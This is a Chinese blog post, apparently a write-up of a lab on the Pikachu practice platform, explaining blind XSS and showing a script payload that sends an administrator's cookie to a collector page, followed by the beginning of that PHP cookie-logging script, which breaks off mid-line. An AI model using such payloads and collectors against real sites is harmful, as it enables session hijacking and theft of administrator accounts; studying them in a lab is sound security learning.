xss盲打（通过xss盲打盗取管理员账号和密码！）

最新推荐文章于 2024-08-14 16:24:24 发布

老-男孩

最新推荐文章于 2024-08-14 16:24:24 发布

阅读量6.6k

点赞数 7

分类专栏：我的笔记

本文链接：https://blog.csdn.net/qq_43814486/article/details/89789889

版权

本文介绍了XSS盲打的概念，虽然看不到直接效果，但只要payload执行即表明存在漏洞。通过构造特定payload，可以将管理员的cookie信息发送到攻击者的数据库，从而获取管理员的账号和密码。经过过程展示，成功盗取了admin账号和其MD5加密后的密码。

摘要由CSDN通过智能技术生成

原理：

其实和存储型的xss原理是一样的，不同的地方在于xss盲打的结果你看不到，你不知道它是否存在xss漏洞，因为xss盲打的结果是显示在管理员后端的，但是这并不意味着不存在xss漏洞！只要payload被执行，就存在漏洞！

上面说了一大堆，现在来点干东西！我要通过xss盲打这种漏洞盗取他们管理员的账号和密码！！！操作如下：

1，我输入的payload：

<script>document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

这个payload的意思就是带着cookie的值访问cookie.php。这个cookie.php如下：

<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//这个是获取cookie的api页面

if(isset($_GET['cookie'])){
    $time=date('Y-m-d g:i:s');
    $ipaddress=getenv ('REMOTE_ADDR');
    $cookie=$_GET['cookie'];
    $referer=$_SERVER['HTTP_REFER